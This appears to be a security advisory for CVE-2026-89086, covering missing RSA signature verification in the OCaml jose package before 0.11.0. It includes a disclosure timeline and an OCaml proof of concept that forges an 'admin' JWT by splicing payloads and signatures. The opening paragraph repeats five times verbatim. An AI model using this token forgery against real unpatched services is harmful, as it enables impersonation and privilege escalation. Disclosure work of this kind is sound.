CVE-2026-89086

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:

let () = Mirage_crypto_rng_unix.use_default ()

let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
  |> Result.get_ok |> Jose.Jwt.to_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
  Jose.Jwt.unsafe_of_string forged
  |> Result.get_ok
  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t ->
    print_endline
      ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
  | Error _ -> print_endline "rejected"

The dune file:

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

This prints "accepted, sub = admin".

Workaround

There is no workaround known.

Timeline

• 2026-08-25: private report via email to the authors of jose
• 2026-08-25: fix published to repository
• 2026-08-31: mail escalated to [email protected]
• 2026-09-04: released jose 0.11.0
• 2026-09-10: published advisory